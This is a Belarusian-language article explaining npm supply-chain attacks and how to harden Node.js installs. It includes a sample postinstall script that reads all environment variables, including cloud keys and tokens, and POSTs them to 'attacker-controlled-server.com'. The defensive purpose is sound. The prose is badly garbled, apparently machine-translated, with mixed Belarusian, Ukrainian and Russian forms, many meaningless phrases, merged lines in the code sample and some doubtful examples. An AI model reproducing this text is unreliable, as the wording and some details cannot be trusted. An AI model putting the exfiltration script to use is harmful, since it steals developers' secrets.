Галоўная / Артыкулы / Напады на ланцуг поставок NPM: як воні функцыянуюць і як захацьвацца ад Node.js

Напады на ланцуг поставок NPM: як воні функцыянуюць і як захацьвацца ад Node.js

Пасвячаецца таму, як функцыонуюць атакі на ланцоўку саплыву npm, такія як захопленне адзынакоў, тайпоскуатінг і плутанне залежнасцяў, а таксама конкрэтным крокам да забезпечэння большай надзеі інсталяцый Node.js.

1767 слоў

Калі вы запускаеце npm install express, вы завантажваеце гораздзейша не простая бібліятэка для маршрутацыі. У гэтым адзінам камандзе супакоўваныя сотні пакетаў, створаных людзьмі, з якімі вы ніколі не стыкаліся і, верагатна, ніколі не стыкнуцеся.

Большасць інжынераў спакульвае менеджэры пакетаў як нейтральныя інструменты: вы просіце інструмент, ён завантажваецца, і вы працюеце далей. Але гэтая падазроўчасць больш не актуальна ў свете JavaScript. Сёння хакеры рэдка калі трыцяцца пра спробы прахождзення корпаратыўнага фаервалу чы адвёрсныя інжынерные дзеяння ў процэсах заходжання. Набагато простае — падсунуць зловучы код у залежнасц, на якую ваша команда вярыць і ад которай павольна паслужваецца.

npm install больш не ёсць пасіўным процэсам завантажэння і зберагчэння. Це фактычна выкананне дадзенага коду — на вашам ноутбуку, у вашай паеўрабочай/паэксплуатацыйной лініи тэставання, і ў канечнасці на вашай інфраструктуре для вырабоцтва.

Што такое атака на ланцуг постачання ў Node.js?

Класычныя проблемы безпекі веб-сайта стосуюцца такіх недакладнасцей, як вбрыск SQL або Cross-Site Scripting, якія ўтвараюцца безпасэчна ў самай аплікацыі, яку вы пішаўте.

Атака на ланцуг постачання програмнага забезпечэння функцыонуе інача. Ваша сабеструктура коду можа быць бездоганной, адпавядаючы всім вядомым стандартам. Але якщо пакет трэцьей стороны, ад каго вы залежыце, быў пахічаны, тады гэты бездоганны код знаходзіцца на парадульнай базе, і весь система перажывае рызык.

Такія атакі нацэленыя на механізмы, якія ствараюць і дастаюць вашае програмнае забезпечэння, а не на самае програмнае забезпечэнне. У свете Node.js такія механізмы включаюць:

  • Пакеты з адкрытым кодам, якія хостуюцца на реўістры npm
  • Транзытныя залежнасці — пакеты, ад каго залежаць вашы безпосереднія залежнасці
  • Скрыпты, якія автаматычна выкананы пад час інсталяціі
  • Автаматызаваныя практыкі выдачы, такія як тые, што створаны на базе GitHub Actions
  • Як толькі будзе парадоксаваны хоць який-небудзь з вузлов у гэтай ланцюгавой структуры, кожны проект, які працюе пасля ёй, будзе перадаваць зловучы кантэнт пры наступной установцы.

    Як зловершальнікі выкарыстоўваюць npm: тры рэальныя моделі

    Гэтыя атакі не ўсуперш спрывальныя. Яны базуюцца на прыемлівых, структурных законамах екасистемы npm. Ёсць тры моделі атак, з якімі вы найбольш верагатна станете сустрэчацца.

    1. Абяроўванне адзынкі і парадоксаваныя адпаведальныя за прыгляд

    Большасць шырока вжываемых пакетаў npm падтрымваюцца безплатнымі волонятрамі, якія працуюць у свой вольны час. Зловершальнікі добра знаюць пра гэта, і замест таго, каб атакаваць код, яны націліваюцца на адпаведальных за ўпублікаванне яго чалавека.

    Тыповыя методы включаюць:

    • Credential stuffing: спробы выкарыбавання вразламаных пароў імена ўпыша-пароля на адзначкі npm, якія не выкарыстоўваюць багатыфакторную аутэнтыкацыю.
    • Phishing: абманванне членаў каманды безпекі npm праз электранявішчы, каб прывуць іх да аддачы пароў доступу.
    • Trojan pull requests: пастава ўпрыемна корыстных, маленькіх паследоўжэнняў працягом часу, каб здобыць довер'е і права на зміны, а пасля, калі довер'е створыцца, уведзенне супранямнага «бэкдора».

    Калі будзе забезпечаны доступ да публікацыі, атакавальнік выкладзе патч, які выглядае як звычайная апдэйт — напрыклад, з 2.1.4 на 2.1.5. Паколькі багато файлаў package.json выкарыстоўваюць дыапазоны у формате ^2.1.4, автаматызаваныя процесы падготовкі ўсюды запускаюць заражаную версію, без таго, каб хтось гэта зазначыў.

    2. Typosquatting і плутанне з маркамі

    Тайпасквоттінг выкарыстоўвае простыя людзкія памылкі. Нападчык рэгіструе назву пакета, якая візуальна або тэкстова практычна не відрóżняецца ад вядомай бібліятэкі.

    Калякі прыклады:

    • Легітымны пакет: cross-env
    • Зловучы аналог: crossenv
    • Легітымны пакет: colors
    • Зловучы аналог: colour

    Якщо запісаць неправильную назву пад час npm i <package>, то будзе інсталавана версія нападчыка. Гэтыя пакеты-шахрайства часта майже точна копіююць справжню API, таму ваша сэтка тэста продовжвае працаваць нормальна, пакуль пад спінам працюе захаваная зловучая дзейнасць.

    3. Плутанне залежнасцяў

    Компаніі часта падтрымляюць прыватныя внутршні пакеты — на кшталт @company/auth-client або company-auth.

    Якщо внутрэшны рэжыстр неправильна налашоўваны, кліент npm можа пачаць запытваць публічны рэжыстр пры тым, калі яму трэба з’ясавіць назву внутрэшняго пакета, а не спачатку пераглянуць прыватны. Зловеры выкарыстоўваюць гэта, скануючы публічныя репазітарыі і дасведчэнні на предмет падказак пра назвы прыватных пакетаў, а потым публікуюць пакеты пад гэтымі самымі назвамі ў публічным рэжыстре npm, прызначаючы ім абсурдна вялікі номер версіі, напрыклад 99.9.9.

    Калі запускаецца процес будовы, npm парабягае версіі, бачыць, што версія публічнага пакета вышэй, і інсталюе код зловеры ў месца вашага легітымнага внутрэшняга модуля.

    Што відбываецца за кулісамі: апасцярожнасць да скрыптаў жыцёвага циклу

    Чаму сама установка пакета несе такі великі рызыки? Чаму зловучы код можа запускаться ранейш, чым ваша аплікацыя вызначыць require() або import для той бібліятэкі?

    Механізм, яны выконваець гэта, — скрыпты жыцёвага циклу.

    У файле package.json npm падтрымляе команды шэлу, якія автаматычна запускаюцца на спецыяльных этапах установкі. Найбольш апакоўжныя з гэтых хуків — preinstall, install і postinstall.

    Мяркуючы, гэта ўжо здаецца безнебяжным package.json, які належыць да заражанай залежнасці:

    {
      "name": "useful-string-helper",
      "version": "1.0.1",
      "scripts": {
        "postinstall": "node ./setup.js"
      }
    }
    

    У описе можа быць напісана, што setup.js скомпілюеат натыўны бінарны файл або падготавіць локальныя файлы налаштавання. На самай працоўцы setup.js можа мець штосц такога:

    // setup.js (Runs automatically during npm install)
    const { exec } = require("child_process");
    const https = require("https");
    
    // Read environment variables (AWS keys, database passwords, tokens)
    const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
    const req = https.request({
      hostname: "attacker-controlled-server.com",
      port: 443,
      path: "/collect",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Content-Length": sensitiveData.length
      }
    });req.write(sensitiveData);
    req.end();
    

    Гэта тое, што на самай працоўцы выйшло:

    • Вы запісалі npm install useful-string-helper.
    • NPM адразу ж запрацавіў node ./setup.js.
    • Зменныя сераўнай среды — такія як AWS_SECRET_ACCESS_KEY, DATABASE_URL чы NPM_TOKEN — былі выявлены безпосередна з памяці системы.
    • Этыя секрэты былі пераданы через HTTPS на сервер, які контролюець зловмеснік.

    Заўважыце, што для всьога гэтага не было неабходнасці імпортуваць пакет чы запускать вашу аплікацыю. Сам факт запуску npm install, чы то на вашай сабе машыне, чы ў сервісе CI runner, быў достатнім, каб абэцяно паставіць під загрозу вашы секрэты.

    Практычны захоў: зміцненне вашага процесу роботы з Node.js

    Работа без пакетаў трэціх сторон не ўсё така рэалістычна. Весь экасистема сучаснага развіцця пабудавана на адкрытых канструкцыях. Але вы можетэ контролаваць, насколькі астаточна робіцеся з тыми залежнасцямі ў сваём проекте.

    1. За замовчаннем выключыце скрыпты інсталляціі

    Якщо пакет насправды не патрэбуе запускі спецыяльнага скрыпта пад час інсталляціі, выключыце гэту функцыю:

    npm install --ignore-scripts
    

    Ёсьлі хочаце застосаваць гэтае правіло ў всім проекте, а не пісаць яго кожны раз, дадзіце файл .npmrc у корні вашага рэпазітарыя:

    # .npmrc
    ignore-scripts=true
    

    Якщо пакет дасправды патрэбуе натыўнай компіляцыі — напрыклад, драйвер базы дадзеных або бібліятэка для обробкі зображэнняя — вы все раве можетэ ручна запусціць етап його будовы, або выборча разрэшыць певныя пакеты через системы плагінаў, якія праставляюць менеджэры пакетаў, такія як pnpm або yarn.

    2. Строга захоўка вашых залежнасцей

    Убедзіцеся, што файл захоўкі завжды ўключаецца ў тое, што вы дадаўце пад кантроль версій, незалежна ад таго, чы то package-lock.json, pnpm-lock.yaml чы yarn.lock, у залежнасці ад таго, які інструмент вы викорыстоўваете.

    Файл захоўкі зберагае точную версію, URL для завантажэння і хеш криптаграфічной целаснасці (SHA-512) для кожнага інсталаванага пакета. Колі такі хеш існуе, npm можа падтвердзіць, што код, які зараз завантажаецца, є байт-за-байтом ідэнтычным таму, які быў зафіксаваны пад час першага стварэння файла захоўкі.

    У праграмах CI/CD завжды викорыстоўвайце:

    npm ci
    

    Ўважайце выконанне простага npm install пад час развяроўкі. npm ci строго дазваляе тое, што зафіксавана ў package-lock.json, і праз тое вычышае ўсю папку node_modules, чым запобегае тайнаму падвышэнню версій.

    3. Захавайце секрэты вашай среды

    Калі толькі можаце, уважайце зберагачэнне кранталей праўдзівай среды ў файлах .env у чыстам формате на вашам ноутбуке. Комп’ютеры разработчыкаў є прывабнымі цэлямі саме таму, што ў іх часта слабейшыя механізмы абэрагання, чым у хмарных інфраструктурах, пры тым як у iх застаюцца дзейныя канталі да баз дадзеных праўдзівай среды і хмарных аблікаў.

    • Вядзьмі прыоритет кранталям, якія існуюць короткае час, напрыклад, тым, якія выдаюцца через AWS IAM Identity Center аб падобныя системы тымчасовых токенаў.
  • Зберагаеце ключы API ў спецыяльных менеджэрах секретаў, а не ў файлах налашоўкаў шэлу, такіх як .bashrc або .zshrc.
  • Полныя адсутнасць токенаў развёртвання з высокімі правамі на апараты окремых разработчыкаў.
  • 4. Іспользуйце аўтаматызаваныя інструменты сканування

    Ніякі сканер не можа пазначыць усё, але аўтаматызаваныя інструменты швядка выяўляюць пакеты, якія вядомы як зловучыя або уразлівыя.

    • Регулярна запускайце npm audit, каб выявіць пакеты з вядомымі CVE-зламамі.
    • Дадаце такія сервісы, як Socket.dev, Snyk або Dependabot ад GitHub, якія будуць обавязковым элементам перагляду кожнай просьбы аб падключэнні.
    • Socket.dev, напрыклад, аналізуе, што на самай працэ пакет робіць — якія запыты выканае ў сети, куды будуць запісваны данні, якія команды шэлу будуць запускацца — прычаму ён яшчэ не патрапіў у ваш проект.

    Компраміс: безпека проты швальнасці разработчыка

    Ніякі з эых заходаў абараннення не даюцца без каштоўкаў.

    Увёмкненне параметра ignore-scripts=true можа спанаваць пакеты, якія залежнаць ад натыўных прыёмнікаў C++, такіх як bcrypt чыста sharp. Калі такое выйдзе, каму-небудзь з команды патрэбна будзе выдзеліць час на дыягназаванне проблемы з складаннем чыста на ручны ўстановленне эых крокаў компілявання.

    Таксама, фіксаванне версій усіх залежнасцей значыць, што парадкі будзе не прыходзіць да вашага проекту аўтаматычна. Вам патрэбна будзе выдзеліць регулярны час — ў тыяждзень чыста за кожны спрінт — на ўсвядомлены тэставанне чыста апдэйт залежнасцей, уместо таго каб яны самі апдэйтаваліся.

    Для маленькага падпроекту такі рэгламент можа здавацца непатрэбным трыбуламентам. Але як толькі прылада пачне працаваць з данымі клёянтаў, дакументамі платачэння чыста інфраструктурой працы, тыя ж самыя трыбуламенты стануць галоўным бар’ерам між вамі чыста бездзвучным компромісам.

    Спісак перагляду для разработчыкаў Node.js

    Перш чым дадаць новую залежнасць, памяркавайце пра гэтыя прынцыпы:

    • Спрыяйце npm install як выкананню коду: кожны пакет, які вы дадаеце, запускаецца з тымі ж правамі, якія ў вашай аднойчынай узловой пасвортніцы.
    • Задавайце сабе пытанні пра новыя дадзеныя: спытайце ся, чакі рэальна потрэба ў цэлым пакете для функцыі-памагальніка, якая можа складацца з дзесятка ліній коду.
    • Выключайце скрыпты, калі гэта можліва: установіце ignore-scripts=true у файле .npmrc, ўбачліваючы большасць атак, якія выкалікаюцца пасля інсталяцыі.
    • Заўжды зберагайце файл lockfile: трывожыце package-lock.json у актуальным стане і выкаліквайце npm ci пад час кожнага запуску CI/CD.
    • Пераглядайце права доступу: обмежыце тое, да чаго насправды могу дасягнуць ваш локальны шэл та запускчыкі CI.

    Экасыстэма JavaScript дае разработчыкам вялікую швальнасць і гнучкасць. Актыўная праця з кантролю завіснасцей — гэта тое, што не дазволяе этой швальнасці таямніча паградзіць цэласць вашых систем.

    Спадні матэрыялы

  • Стварэнне модульнага інструментарыя для автаматызацыі на JavaScript з нуля — Дазвольце вам дазнацца, як адурачы Playwright, Cheerio, SQLite і Commander ў ензым працы для Node.js, які можна викорыстоўваць па-разным чынам, і як такі інструмент можа ператварыцца з простага скрыпта ў продукт для автаматызацыі, які можна выкупіць.